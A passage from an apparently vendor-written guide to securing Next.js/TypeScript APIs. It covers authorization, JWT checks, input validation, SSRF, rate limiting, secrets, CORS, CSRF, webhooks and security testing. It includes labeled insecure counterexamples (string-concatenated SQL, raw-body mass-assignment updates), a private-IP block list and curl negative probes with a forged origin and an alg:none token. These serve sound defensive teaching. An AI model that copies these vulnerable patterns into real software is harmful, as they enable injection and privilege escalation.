const CAN: Record<string, Role[]> = {
  'project:read':   ['owner', 'admin', 'member', 'viewer'],
  'project:write':  ['owner', 'admin', 'member'],
  'project:delete': ['owner', 'admin'],
  'member:invite':  ['owner', 'admin'],
  'billing:manage': ['owner'],
};

export function can(role: Role, action: keyof typeof CAN): boolean {
  return CAN[action].includes(role);
}
```

```typescript
// In the route handler
const membership = await getMembership(user.id, orgId);
if (!membership || !can(membership.role, 'project:delete')) {
  return NextResponse.json({ error: 'Forbidden' }, { status: 403 });
}
```

Read the role from a server-side membership record. Never read it from the request body, and never from a JWT claim the user can influence at signup.

### 3. Validate JWT tokens properly

If you're using JWTs, verify the signature, check the expiration, and validate the issuer. Don't just decode and trust. A common mistake is using `jwt.decode()` (which does not verify the signature) instead of `jwt.verify()`.

```typescript
import jwt from 'jsonwebtoken';

function validateToken(token: string) {
  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET!, {
      algorithms: ['HS256'],     // Restrict to expected algorithm
      issuer: 'your-app-name',   // Validate issuer claim
      maxAge: '1h',              // Reject tokens older than 1 hour
    });
    return { valid: true, payload: decoded };
  } catch (err) {
    return { valid: false, payload: null };
  }
}

// NEVER do this -- it skips signature verification
// const decoded = jwt.decode(token);
```

Always pin the algorithm with the `algorithms` option. Without it, an attacker can craft a token using `"alg": "none"` and bypass signature verification entirely. For a deeper dive, see our guide on [common JWT security mistakes](/blog/jwt-security-common-mistakes).

One more thing JWTs don't give you for free: revocation. A signed token stays valid until it expires, so "log out everywhere" and "this account was compromised" need a server-side check. Keep access tokens short-lived (minutes, not days), and store a `tokens_valid_after` timestamp on the user that you compare against the token's `iat` claim.

## Input Validation

### 4. Validate all input on the server

Client-side validation is for UX. Server-side validation is for security. Every request body, query parameter, and path parameter must be validated. Use a schema validation library like Zod to make this declarative:

```typescript
import { z } from 'zod';

// Define the expected shape
const CreateProjectSchema = z.object({
  name: z.string().min(1).max(100),
  url: z.string().url(),
  backendType: z.enum(['supabase', 'firebase', 'convex', 'custom', 'none']),
});

export async function POST(req: NextRequest) {
  const body = await req.json();
  const result = CreateProjectSchema.safeParse(body);

  if (!result.success) {
    return NextResponse.json(
      { error: 'Invalid input', details: result.error.flatten() },
      { status: 400 }
    );
  }

  // result.data is now typed and validated
  const { name, url, backendType } = result.data;
}
```

For simpler cases, manual validation works:

```typescript
// Validate UUIDs
const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
if (!UUID_RE.test(projectId)) {
  return NextResponse.json({ error: 'Invalid project ID' }, { status: 400 });
}

// Validate enums
const VALID_STATUSES = ['active', 'paused', 'deleted'];
if (!VALID_STATUSES.includes(status)) {
  return NextResponse.json({ error: 'Invalid status' }, { status: 400 });
}
```

Never trust that input will be the type you expect. A field you expect to be a string could be an array, an object, or null. Zod catches these mismatches automatically.

### Reject unknown fields (mass assignment)

Passing a request body straight into an update is how users promote themselves. If the client controls the object, the client controls the columns:

```typescript
// Bad: whatever the client sends becomes columns
await supabase.from('profiles').update(body).eq('id', user.id);
// A client sends { plan: 'max', is_admin: true } and self-promotes.

// Good: a strict schema plus an explicit column map
const UpdateProfile = z.object({
  displayName: z.string().min(1).max(80),
  timezone: z.string().max(64),
}).strict();  // .strict() rejects unknown keys instead of silently dropping them

const parsed = UpdateProfile.safeParse(body);
if (!parsed.success) {
  return NextResponse.json({ error: 'Invalid input' }, { status: 400 });
}

await supabase.from('profiles').update({
  display_name: parsed.data.displayName,
  timezone: parsed.data.timezone,
}).eq('id', user.id);
```

The explicit column map is what actually saves you. Even if a future schema change forgets `.strict()`, the write still touches only the two fields you named.

### 5. Sanitize output

Even if your database is clean, sanitize data before returning it to clients. Strip internal fields, remove sensitive data, and escape HTML in user-generated content. OWASP calls the failure mode API3, Broken Object Property Level Authorization: the caller is allowed to see the record, but not every field on it.

```typescript
// Bad: returning the raw database row
return NextResponse.json(project);

// Good: explicitly select safe fields
return NextResponse.json({
  id: project.id,
  name: project.name,
  url: project.url,
  createdAt: project.created_at,
  // Note: user_id, stripe_customer_id, internal_notes are NOT exposed
});
```

This practice protects you even if someone accidentally adds a sensitive column to a table. If you only return allowlisted fields, new columns never leak to the client.

The same rule applies in reverse: don't ship a field to the client just because a UI needs it *sometimes*. An admin-only field returned to every caller and hidden with CSS is a data leak with extra steps.

### Parameterize every query

```typescript
// Bad -- string concatenation, and now you have SQL injection
const { rows } = await pool.query(`SELECT * FROM projects WHERE slug = '${slug}'`);

// Good -- parameterized; the driver never treats input as SQL
const { rows } = await pool.query('SELECT * FROM projects WHERE slug = $1', [slug]);
```

Schema validation and parameterization are complementary, not redundant: validation decides whether the value is *acceptable*, parameterization decides whether it can be *executed*. Full detail in our [SQL injection prevention guide](/blog/sql-injection-prevention-guide).

### Validate URLs before you fetch them (OWASP API7: SSRF)

Any endpoint that takes a URL from the user -- webhook targets, avatar imports, link previews, site scanners -- can be pointed at your own infrastructure. Cloud metadata endpoints and internal admin panels are the usual targets.

```typescript
import dns from 'node:dns/promises';

const BLOCKED_V4 = [
  /^127\./, /^10\./, /^192\.168\./, /^169\.254\./,
  /^172\.(1[6-9]|2\d|3[01])\./, /^0\./,
];

export async function assertPublicUrl(input: string): Promise<string> {
  const url = new URL(input);
  if (url.protocol !== 'https:' && url.protocol !== 'http:') {
    throw new Error('Unsupported protocol');
  }

  const { address, family } = await dns.lookup(url.hostname);
  if (family === 4 && BLOCKED_V4.some((re) => re.test(address))) {
    throw new Error('Private address');
  }
  if (family === 6 && (address === '::1' || address.startsWith('fc') || address.startsWith('fe80'))) {
    throw new Error('Private address');
  }
  return address;
}
```

Two things this snippet does not solve on its own, and both matter:

- **DNS rebinding.** The name you resolved can point somewhere else by the time the socket opens. Connect to the address you validated (pass a custom `lookup`), rather than re-resolving the hostname.
- **Redirects.** Use `redirect: 'manual'` and re-validate every hop. A public URL that 302s to `169.254.169.254` defeats a check that only ran once.

### Check the Content-Type before parsing

```typescript
const contentType = req.headers.get('content-type') ?? '';
if (!contentType.startsWith('application/json')) {
  return NextResponse.json({ error: 'Unsupported Media Type' }, { status: 415 });
}
```

A route that happily parses `text/plain` or form encoding can be hit by a plain HTML form from another origin, because those content types are "simple requests" that skip the CORS preflight entirely. Insisting on JSON forces a preflight, which your CORS allowlist then rejects.

## Rate Limiting & Abuse

OWASP API4 is Unrestricted Resource Consumption and API6 is Unrestricted Access to Sensitive Business Flows. The first is about your infrastructure, the second is about your business logic. You need both.

### 6. Rate limit every endpoint

Without rate limiting, an attacker can brute-force passwords, enumerate users, or exhaust your API quotas. Use a sliding window approach: track requests per user/IP over a rolling time window.

Here is a practical implementation using an in-memory store (for single-server deployments) or Redis (for distributed):

```typescript
// Simple in-memory sliding window rate limiter
const rateLimitMap = new Map<string, { count: number; resetAt: number }>();

function checkRateLimit(
  key: string,
  limit: number,
  windowMs: number
): { allowed: boolean; remaining: number } {
  const now = Date.now();
  const entry = rateLimitMap.get(key);

  if (!entry || now > entry.resetAt) {
    rateLimitMap.set(key, { count: 1, resetAt: now + windowMs });
    return { allowed: true, remaining: limit - 1 };
  }

  if (entry.count >= limit) {
    return { allowed: false, remaining: 0 };
  }

  entry.count++;
  return { allowed: true, remaining: limit - entry.count };
}

// Usage in a route handler
export async function POST(req: NextRequest) {
  const ip = req.headers.get('x-forwarded-for') ?? 'unknown';
  const { allowed, remaining } = checkRateLimit(ip, 10, 60_000); // 10 req/min

  if (!allowed) {
    return NextResponse.json(
      { error: 'Too many requests' },
      {
        status: 429,
        headers: {
          'Retry-After': '60',
          'X-RateLimit-Remaining': '0',
        },
      }
    );
  }

  // Proceed with request...
}
```

For production, use a database-backed or Redis-backed solution. Set different limits for different endpoints: login and signup endpoints should have stricter limits (5/minute) than read-only data endpoints (60/minute).

Key the limit on the authenticated user ID whenever you have one, falling back to IP only for anonymous traffic. IP-only limiting punishes every user behind a corporate NAT while barely inconveniencing an attacker with a proxy pool.

Always return `429 Too Many Requests` with a `Retry-After` header so legitimate clients know when to retry.

### 7. Limit request body size

Accept only what you need. A 100MB JSON body shouldn't crash your server. This is a denial-of-service vector that is trivially easy to prevent.

```typescript
// Next.js: check body size before parsing
export async function POST(req: NextRequest) {
  const contentLength = req.headers.get('content-length');
  if (contentLength && parseInt(contentLength) > 100_000) {
    return NextResponse.json({ error: 'Request too large' }, { status: 413 });
  }

  const body = await req.json();
  if (JSON.stringify(body).length > 10_000) {
    return NextResponse.json({ error: 'Request too large' }, { status: 413 });
  }

  // Proceed...
}
```

```typescript
// Express: use built-in body size limits
app.use(express.json({ limit: '10kb' }));
app.use(express.urlencoded({ extended: true, limit: '10kb' }));
```

In Express, the `limit` option rejects oversized payloads before they are fully read into memory. In Next.js, you need to check manually since the App Router reads the full body by default.

### Cap pagination server-side

`?limit=1000000` is a free denial-of-service attack against your own database, and it does not need an attacker -- a well-meaning integration will find it for you.

```typescript
const MAX_PAGE_SIZE = 100;
const raw = Number(searchParams.get('limit'));
const limit = Number.isFinite(raw) && raw > 0 ? Math.min(raw, MAX_PAGE_SIZE) : 25;
const offset = Math.max(Number(searchParams.get('offset')) || 0, 0);
```

The same idea applies to any client-controlled cost multiplier: date ranges on analytics endpoints, `include` parameters that trigger joins, and GraphQL query depth. If the client can make one request cost a hundred times more than another, put a ceiling on it.

### Put a deadline on every outbound call

```typescript
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), 5_000);

try {
  const res = await fetch(upstream, { signal: controller.signal, redirect: 'manual' });
  // ...
} finally {
  clearTimeout(timer);
}
```

Without a timeout, a slow upstream holds your handler open -- along with its database connection -- until the platform kills it. That is how one dependency's bad day becomes your outage. Set statement timeouts on long database queries for the same reason.

### Meter expensive business flows per account (OWASP API6)

Some endpoints are cheap to call and expensive to honour: free-tier scans, email invitations, coupon redemptions, password reset emails, trial signups. A per-request rate limit does not stop someone who registers fifty accounts and stays under it.

Meter these flows against the account, the organization, and the payment instrument -- not the request. Add a captcha or an email-verification gate before the expensive part runs, and alert when a single account's usage curve stops looking like a customer's.

## Secrets & API Keys

### API key authentication done right

For machine-to-machine access (CI/CD pipelines, third-party integrations, MCP servers), API key authentication is often more appropriate than JWTs. Here is a secure pattern:

```typescript
import crypto from 'crypto';

// --- Key generation (done once, at key creation time) ---
function generateApiKey(): { raw: string; hashed: string; prefix: string } {
  const raw = `cvd_live_${crypto.randomBytes(32).toString('hex')}`;
  const hashed = crypto.createHash('sha256').update(raw).digest('hex');
  const prefix = raw.slice(0, 12);
  return { raw, hashed, prefix };
}

// Store `hashed` and `prefix` in the database.
// Show `raw` to the user ONCE, then discard it.

// --- Key validation (done on every request) ---
async function validateApiKey(req: NextRequest) {
  const header = req.headers.get('authorization');
  if (!header?.startsWith('Bearer cvd_live_')) {
    return null;
  }

  const raw = header.replace('Bearer ', '');
  const hashed = crypto.createHash('sha256').update(raw).digest('hex');

  const { data: key } = await supabase
    .from('api_keys')
    .select('id, user_id, scopes, revoked_at')
    .eq('key_hash', hashed)
    .is('revoked_at', null)
    .single();

  return key;
}
```

Key points for API key security:

- **Never store raw keys.** Store a SHA-256 hash and a prefix for display purposes.
- **Show the key once.** After creation, the raw key cannot be recovered.
- **Support revocation.** Every key should have a `revoked_at` timestamp that you check on every request.
- **Scope keys narrowly.** Give each key only the permissions it needs (e.g., `scan:read` vs `scan:write`).
- **Use a recognisable prefix.** A distinctive `cvd_live_` prefix lets secret scanners -- and you -- spot the key in a log or a public repo.
- **Rotate regularly.** Make it easy for users to create new keys and revoke old ones.

Looking up the key by its hash through a database index also sidesteps timing attacks. Anywhere you compare a secret *string* directly -- a webhook secret, a cron token, an internal service header -- use a constant-time comparison instead:

```typescript
import { timingSafeEqual } from 'node:crypto';

function safeEqual(a: string, b: string): boolean {
  const bufA = Buffer.from(a);
  const bufB = Buffer.from(b);
  return bufA.length === bufB.length && timingSafeEqual(bufA, bufB);
}
```

### Keep secrets out of the client bundle

In a Next.js app, anything reachable from client code ends up in the JavaScript bundle. The `NEXT_PUBLIC_` prefix is not a security boundary -- it is a label reminding you the value is already public.

```typescript
// Safe in client components -- published by design
const anonKey = process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY;

// Server-only. Importing this module into a client component ships the key.
const stripeSecret = process.env.STRIPE_SECRET_KEY;
```

Two habits worth building: add `import 'server-only'` at the top of modules that read secrets so a bad import fails the build instead of shipping, and grep your production bundle for your own key prefixes before a launch.

### Scan your history, and rotate what leaks

```bash
# Catch secrets before they reach the remote
npx gitleaks detect --no-banner --redact

# Already committed? Search the whole history, not just HEAD
git log -p -S 'sk_live_' --all | head
```

Rewriting history does not un-leak a key. Anything that reached a remote -- especially a public one -- must be rotated at the provider; assume it was scraped within minutes. If you want a second opinion on what is already exposed, our [exposed API key scanner](/exposed-api-key-scanner) checks a live site for keys reachable from the browser, which is the other half of the problem: keys that never touched Git but ship in every page load.

## TLS & Transport

### 8. Enforce HTTPS everywhere

No exceptions. All API traffic must be encrypted in transit. Set `Strict-Transport-Security` to tell browsers to always use HTTPS, even if the user types `http://`.

```http
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
```

In your Next.js config or middleware, you can enforce this header on every response:

```typescript
// next.config.ts
const nextConfig = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          {
            key: 'Strict-Transport-Security',
            value: 'max-age=31536000; includeSubDomains; preload',
          },
        ],
      },
    ];
  },
};
```

The `preload` directive submits your domain to browser preload lists, ensuring HTTPS is enforced even on the very first visit. The `includeSubDomains` directive ensures subdomains (like `api.yourdomain.com`) are also covered. Only add `preload` once every subdomain serves HTTPS -- removal from preload lists is slow.

For a comprehensive walkthrough of all security-relevant HTTP headers, see our [complete guide to security headers](/blog/security-headers-complete-guide).

### Keep tokens out of URLs

```text
Bad:  GET /api/v1/reports?token=eyJhbGciOi...
Good: GET /api/v1/reports      Authorization: Bearer eyJhbGciOi...
```

Query strings are recorded in web server access logs, CDN logs, browser history, and the `Referer` header sent to any third-party asset on the page. TLS protects the request in flight and does nothing about any of that. The same applies to password reset and magic-link tokens: make them single-use and short-lived, because you cannot stop them appearing in a log.

Session cookies need the full set of flags:

```typescript
cookies().set('session', token, {
  httpOnly: true,   // not readable from JavaScript
  secure: true,     // HTTPS only
  sameSite: 'lax',  // not sent on cross-site POSTs
  path: '/',
  maxAge: 60 * 60 * 8,
});
```

Finally, automate certificate renewal and alert on expiry. An expired certificate is a total outage that a two-line monitor would have caught two weeks earlier.

## Headers & CORS

### 9. Configure CORS properly

`Access-Control-Allow-Origin: *` is almost never what you want. It tells browsers that any website on the internet can make requests to your API and read the responses. Restrict it to your actual domains.

```typescript
const ALLOWED_ORIGINS = [
  'https://yourdomain.com',
  'https://app.yourdomain.com',
];

export function withCORS(req: NextRequest, response: NextResponse) {
  const origin = req.headers.get('origin');

  if (origin && ALLOWED_ORIGINS.includes(origin)) {
    response.headers.set('Access-Control-Allow-Origin', origin);
    response.headers.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
    response.headers.set('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    response.headers.set('Access-Control-Max-Age', '86400');
    response.headers.set('Vary', 'Origin');
  }

  // If origin is not in the allowlist, no CORS headers are set,
  // which means the browser will block the request.
  return response;
}
```

Handle the preflight explicitly rather than letting a catch-all middleware answer it:

```typescript
export async function OPTIONS(req: NextRequest) {
  const origin = req.headers.get('origin');
  if (!origin || !ALLOWED_ORIGINS.includes(origin)) {
    return new NextResponse(null, { status: 403 });
  }

  return new NextResponse(null, {
    status: 204,
    headers: {
      'Access-Control-Allow-Origin': origin,
      'Access-Control-Allow-Methods': 'GET, POST, PATCH, DELETE',
      'Access-Control-Allow-Headers': 'Content-Type, Authorization',
      'Access-Control-Allow-Credentials': 'true',
      'Access-Control-Max-Age': '86400',
      Vary: 'Origin',
    },
  });
}
```

Three failure modes worth naming. Never reflect the `Origin` header back without validation -- that is equivalent to `*` but worse, because it also works with credentialed requests. Never match origins with `startsWith` or a substring test, because `https://yourdomain.com.evil.example` passes both. And always set `Vary: Origin`, or a shared cache can hand the allow-header minted for one origin to a request from another. For more details, read our [CORS misconfiguration guide](/blog/cors-misconfiguration-guide).

### 10. Add CSRF protection on mutating endpoints

For session-based auth (cookies), validate the `Origin` header on POST/PUT/PATCH/DELETE requests. Without this, a malicious website can submit forms to your API while the user's session cookie is automatically attached by the browser.

```typescript
// CSRF protection middleware
function csrfCheck(req: NextRequest): boolean {
  if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
    return true; // Safe methods don't need CSRF checks
  }

  const origin = req.headers.get('origin');
  if (!origin) {
    return false; // Reject requests with no origin on mutating methods
  }

  const ALLOWED_ORIGINS = [
    'https://yourdomain.com',
    'https://app.yourdomain.com',
  ];

  // In development, allow localhost
  if (process.env.NODE_ENV === 'development' && origin === 'http://localhost:3000') {
    return true;
  }

  return ALLOWED_ORIGINS.includes(origin);
}

export async function POST(req: NextRequest) {
  if (!csrfCheck(req)) {
    return NextResponse.json({ error: 'Forbidden' }, { status: 403 });
  }
  // Proceed...
}
```

Note that API key authentication (Bearer tokens in the `Authorization` header) is inherently immune to CSRF because browsers do not automatically attach custom headers. CSRF is only a concern with cookie-based authentication.

For a full treatment of CSRF attacks and defenses, see our [CSRF protection guide](/blog/csrf-protection-guide).

### Set the small headers on API responses too

Security header advice usually targets HTML pages, and API routes get skipped. Two of them matter for JSON:

```typescript
// next.config.ts
const nextConfig = {
  poweredByHeader: false, // drop the framework version banner
  async headers() {
    return [
      {
        source: '/api/(.*)',
        headers: [
          { key: 'X-Content-Type-Options', value: 'nosniff' },
          { key: 'Cache-Control', value: 'no-store' },
          { key: 'Referrer-Policy', value: 'no-referrer' },
        ],
      },
    ];
  },
};
```

`Cache-Control: no-store` is the one that bites hardest in production: a CDN or shared proxy that caches an authenticated JSON response will happily serve one user's data to the next. `nosniff` stops a browser from reinterpreting a JSON response as HTML or script, which is what turns a reflected value into stored XSS.

## Error Handling & Logging

### 11. Return generic error messages

Never expose internal error details to clients. Stack traces, SQL query fragments, and database column names give attackers a roadmap of your system. Log the full error server-side, return a generic message to the client.

```typescript
// Bad: exposes database error to client
return NextResponse.json({ error: dbError.message }, { status: 500 });

// Good: generic message, detailed server-side log, shared correlation id
const errorId = crypto.randomUUID();
console.error(JSON.stringify({
  errorId,
  message: dbError.message,
  stack: dbError.stack,
  route: '/api/projects',
  userId: user.id,
  timestamp: new Date().toISOString(),
}));
return NextResponse.json(
  { error: 'An internal error occurred', errorId },
  { status: 500 }
);
```

The `errorId` is what makes generic errors survive contact with a support queue: the user quotes an opaque UUID, you find the exact log line, and neither of you learns anything about your schema.

This applies to all error types: database errors, third-party API failures, validation errors (which should say what's invalid but not reveal schema internals), and unhandled exceptions. For authentication errors, always use the same generic message ("Invalid credentials") regardless of whether the username or password was wrong -- otherwise you enable account enumeration. Watch response *timing* too: bailing out early on an unknown email while hashing a password for a known one leaks the same information through the clock.

### 12. Log security-relevant events

Log authentication attempts (success and failure), authorization failures, rate limit hits, and unusual patterns. When something goes wrong, you need to know what happened.

```typescript
// Structured logging for security events
function logSecurityEvent(event: {
  type: 'auth_success' | 'auth_failure' | 'authz_failure' | 'rate_limit' | 'suspicious';
  userId?: string;
  ip: string;
  path: string;
  details?: string;
}) {
  console.log(JSON.stringify({
    ...event,
    timestamp: new Date().toISOString(),
    service: 'api',
  }));
}

// Usage examples
logSecurityEvent({
  type: 'auth_failure',
  ip: req.headers.get('x-forwarded-for') ?? 'unknown',
  path: '/api/auth/login',
  details: 'Invalid password',
});

logSecurityEvent({
  type: 'rate_limit',
  ip: '203.0.113.42',
  path: '/api/scan',
  details: 'Exceeded 10 requests/minute',
});
```

Logs are also a place secrets go to leak. Redact by key name at the logging boundary, so a future engineer logging a whole request object cannot dump an `Authorization` header into your log aggregator:

```typescript
const SENSITIVE = /(authorization|cookie|password|token|api[-_]?key|secret)/i;

function redact(obj: Record<string, unknown>): Record<string, unknown> {
  return Object.fromEntries(
    Object.entries(obj).map(([k, v]) => [k, SENSITIVE.test(k) ? '[redacted]' : v])
  );
}
```

### Turn off debug surfaces in production

OWASP API8 is Security Misconfiguration, and this is where most of it lives. Before launch, confirm each of these is off or unreachable in production: `/api/debug` and health endpoints that dump environment variables, GraphQL introspection and playground UIs, verbose framework error pages, directory listings, source maps served publicly, and any seeded test account. Grep your route list for the word "debug" and open every hit.

## Monitoring

Logging tells you what happened. Monitoring tells you *while* it happens. The difference is whether an incident is a paragraph in a postmortem or a page at 3am.

Alert on the signals that only mean one thing:

```yaml
# Illustrative alert rules -- tune every threshold to your own traffic baseline
- name: auth_failure_spike
  query: count(type="auth_failure") by ip over 5m
  action: page                # credential stuffing or a brute-force run

- name: auth_failures_against_one_account
  query: count(type="auth_failure") by user_id over 15m
  action: notify              # targeted account takeover attempt

- name: authz_denials_from_authenticated_user
  query: count(type="authz_failure") by user_id over 10m
  action: notify              # someone is walking your object IDs

- name: rate_limit_hits_many_ips
  query: count_distinct(ip) where type="rate_limit" over 5m
  action: notify              # distributed abuse, not one noisy client

- name: tls_expiry
  query: days_until_cert_expiry("api.yourdomain.com")
  action: page                # under 14 days
```

The second and third rules are the ones teams skip, and they are the ones that catch BOLA probing. A legitimate user almost never generates a burst of `403`s.

Run dependency and secret scanning on every pull request, not on a schedule someone eventually mutes:

```yaml
# .github/workflows/security.yml
name: security
on: [pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0        # gitleaks can only scan history it has
      - uses: actions/setup-node@v4
        with:
          node-version: 20
      - run: npm ci
      - run: npm audit --audit-level=high
      - uses: gitleaks/gitleaks-action@v2
```

Then monitor from outside. Internal metrics cannot see a broken TLS chain, a DNS change, or a CDN rule that started returning your API's error page with a `200`. A synthetic check that authenticates and hits one real endpoint on a schedule catches all three.

## Webhooks

If your API sends or receives webhooks, signature verification is critical. Without it, anyone can send forged payloads to your webhook endpoint -- and a webhook handler is, by design, an unauthenticated route that writes to your database.

### Verifying incoming webhooks

Most providers ship a helper. Use it, and use the raw body:

```typescript
import Stripe from 'stripe';

export async function POST(req: NextRequest) {
  const body = await req.text(); // Raw body, not parsed
  const signature = req.headers.get('stripe-signature');

  if (!signature) {
    return NextResponse.json({ error: 'Missing signature' }, { status: 400 });
  }

  let event: Stripe.Event;
  try {
    event = stripe.webhooks.constructEvent(
      body,
      signature,
      process.env.STRIPE_WEBHOOK_SECRET!
    );
  } catch (err) {
    return NextResponse.json({ error: 'Invalid signature' }, { status: 400 });
  }

  await handleEvent(event);
  return NextResponse.json({ received: true });
}
```

When you are verifying a provider that does not ship a helper, this is the whole job -- note the timestamp check and the constant-time comparison:

```typescript
import crypto from 'node:crypto';

const MAX_SKEW_SECONDS = 300;

function verifySignature(rawBody: string, header: string, secret: string): boolean {
  // header looks like: t=1712345678,v1=9f86d081...
  const parts = Object.fromEntries(
    header.split(',').map((kv) => kv.split('=') as [string, string])
  );

  const timestamp = Number(parts.t);
  if (!Number.isFinite(timestamp)) return false;
  if (Math.abs(Date.now() / 1000 - timestamp) > MAX_SKEW_SECONDS) return false;

  const expected = crypto
    .createHmac('sha256', secret)
    .update(`${timestamp}.${rawBody}`)
    .digest('hex');

  const a = Buffer.from(expected);
  const b = Buffer.from(parts.v1 ?? '');
  return a.length === b.length && crypto.timingSafeEqual(a, b);
}
```

### Make handlers idempotent

Providers retry. A retry after a partial failure must not grant the plan twice.

```sql
create table webhook_events (
  id           text primary key,   -- the provider's event id
  received_at  timestamptz not null default now(),
  processed_at timestamptz
);
```

```typescript
const { error } = await supabase
  .from('webhook_events')
  .insert({ id: event.id });

if (error?.code === '23505') {
  // Primary key conflict: we have seen this event already.
  return NextResponse.json({ received: true, duplicate: true });
}

await handleEvent(event);

await supabase
  .from('webhook_events')
  .update({ processed_at: new Date().toISOString() })
  .eq('id', event.id);
```

Insert first, process, then stamp `processed_at`. If the handler crashes halfway, the row exists but is unstamped -- which is exactly the state a reconciliation job should look for.

### Signing outgoing webhooks

When your API dispatches webhooks to user-configured URLs, sign the payload so recipients can verify authenticity:

```typescript
import crypto from 'crypto';

function signWebhookPayload(payload: string, secret: string): string {
  const timestamp = Math.floor(Date.now() / 1000);
  const signatureInput = `${timestamp}.${payload}`;
  const signature = crypto
    .createHmac('sha256', secret)
    .update(signatureInput)
    .digest('hex');

  return `t=${timestamp},v1=${signature}`;
}

// When dispatching a webhook
const payload = JSON.stringify(eventData);
const signature = signWebhookPayload(payload, webhookSecret);

await fetch(webhookUrl, {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-Webhook-Signature': signature,
  },
  body: payload,
});
```

Key practices for webhook security:

- **Use HMAC-SHA256** for signatures. Never use MD5 or plain SHA-1.
- **Include a timestamp** in the signature to prevent replay attacks. Reject payloads outside a few minutes.
- **Use the raw body** for verification, not a re-serialized version -- JSON key ordering differences will break the signature.
- **Give each endpoint its own secret** so one customer's leaked secret cannot forge deliveries to another.
- **Validate outgoing URLs.** A user-configured webhook target is a user-supplied URL: run it through the SSRF check above, or your webhook dispatcher becomes an internal-network proxy.

## Versioning & Deprecation

OWASP API9 is Improper Inventory Management, and it is the least glamorous entry on the list. The endpoint that breaches you is rarely the one you were thinking about -- it is the `v1` route you replaced eighteen months ago and never turned off.

**Version every public route.** `/api/v1/projects` costs nothing today and saves you from a breaking change you cannot ship later.

**Generate the inventory, don't maintain it.** A hand-written list goes stale in a sprint:

```bash
# Next.js App Router: every deployed API route, straight from the filesystem
find src/app/api -name 'route.ts' | sed 's|src/app||; s|/route.ts||' | sort
```

Diff that output in CI against a checked-in snapshot, and a new public endpoint cannot ship without someone acknowledging it.

**Prove a version is dead before you remove it, then actually remove it.** Log the version on every request so you can answer the question with data:

```sql
select api_version,
       count(*)                as calls,
       count(distinct user_id) as callers,
       max(created_at)         as last_seen
from api_requests
where created_at > now() - interval '30 days'
group by 1
order by 2 desc;
```

**Announce deprecations in the response, not only in a changelog.** Clients read headers; nobody reads changelogs:

```http
Deprecation: @1790812799
Sunset: Thu, 31 Dec 2026 23:59:59 GMT
Link: <https://docs.example.com/api/v2-migration>; rel="deprecation"
```

Both headers are standardised: `Sunset` in RFC 8594, `Deprecation` in RFC 9745. Note the value formats differ. `Deprecation` is a structured-field date -- an `@` followed by a Unix timestamp marking when the endpoint became (or becomes) deprecated. `Sunset` is an HTTP-date marking when it stops responding, and RFC 9745 requires it to be no earlier than the deprecation date. The `deprecation` link relation points at the human-readable migration guide.

**Keep non-production hosts off the public internet.** `staging-api.yourdomain.com` typically runs older code with debug enabled against a copy of real data. Put it behind IP allowlisting or SSO.

**Validate what third parties send you (OWASP API10).** Unsafe Consumption of APIs is the mirror image of input validation: you trust your vendor's response more than you trust your users, and a compromised or merely sloppy upstream feeds you an unexpected type, an oversized payload, or a redirect to an internal address.

```typescript
const UpstreamSchema = z.object({
  id: z.string(),
  status: z.enum(['ok', 'error']),
});

const parsed = UpstreamSchema.safeParse(await res.json());
if (!parsed.success) {
  throw new Error('Upstream returned an unexpected shape');
}
```

## How to test your API security

API security testing works in layers, cheapest first. The goal is that every item above has something automated watching it, so a regression fails a build instead of surfacing in a bug bounty report.

**1. Authorization matrix tests in CI.** This is the highest-value test suite you can write, because it covers the highest-ranked OWASP category. For every route that takes a resource ID, assert two things: anonymous gets `401`, and a non-owner gets `403` or `404`.

```typescript
// tests/authz.spec.ts -- add a row here whenever you add a resource route
const ROUTES = [
  { method: 'GET',    path: (id: string) => `/api/v1/projects/${id}` },
  { method: 'PATCH',  path: (id: string) => `/api/v1/projects/${id}` },
  { method: 'DELETE', path: (id: string) => `/api/v1/projects/${id}` },
];

for (const route of ROUTES) {
  it(`${route.method} rejects an anonymous caller`, async () => {
    const res = await fetch(BASE + route.path(userAProjectId), { method: route.method });
    expect(res.status).toBe(401);
  });

  it(`${route.method} rejects a non-owner`, async () => {
    const res = await fetch(BASE + route.path(userAProjectId), {
      method: route.method,
      headers: { Authorization: `Bearer ${userBToken}` },
    });
    expect([403, 404]).toContain(res.status);
  });
}
```

**2. Negative probes with curl.** Fast to write, easy to run against a preview deployment. Each of these should fail:

```bash
API=https://api.example.com

curl -s -o /dev/null -w '%{http_code} no-auth\n'      "$API/v1/projects"
curl -s -o /dev/null -w '%{http_code} wrong-owner\n'  -H "Authorization: Bearer $TOKEN_B" "$API/v1/projects/$A_ID"
curl -s -o /dev/null -w '%{http_code} huge-body\n'    -X POST -H "Authorization: Bearer $TOKEN_A" \
     -H 'Content-Type: application/json' --data-binary @10mb.json "$API/v1/projects"
curl -s -o /dev/null -w '%{http_code} bad-origin\n'   -X POST -H 'Origin: https://evil.example' "$API/v1/projects"
curl -s -o /dev/null -w '%{http_code} alg-none\n'     -H "Authorization: Bearer $ALG_NONE_TOKEN" "$API/v1/projects"
```

Expect `401`, `404` or `403`, `413`, `403`, `401`. A `200` anywhere in that list is a finding.

**3. Confirm the rate limiter actually fires.** Limits that were never tested are limits that were misconfigured:

```bash
for i in $(seq 1 30); do
  curl -s -o /dev/null -w '%{http_code} ' -X POST "$API/v1/auth/login" \
    -H 'Content-Type: application/json' \
    -d '{"email":"probe@example.com","password":"wrong"}'
done; echo
# You want to see 429s well before the 30th request.
```

**4. Dependency and secret scanning on every pull request** -- the CI workflow in the Monitoring section above.

**5. External scanning against the deployed API.** Black-box tools see what an attacker sees: response headers, CORS behaviour, exposed debug routes, expired certificates, and information leaked in error pages. This is the layer that catches configuration drift between your `next.config.ts` and whatever your CDN is actually returning.

**6. Manual review of anything that touches money, permissions, or other people's data.** Automated tests check the rules you thought to write down. A second pair of eyes on the diff catches the rule you didn't.

## Priority order: what to fix first

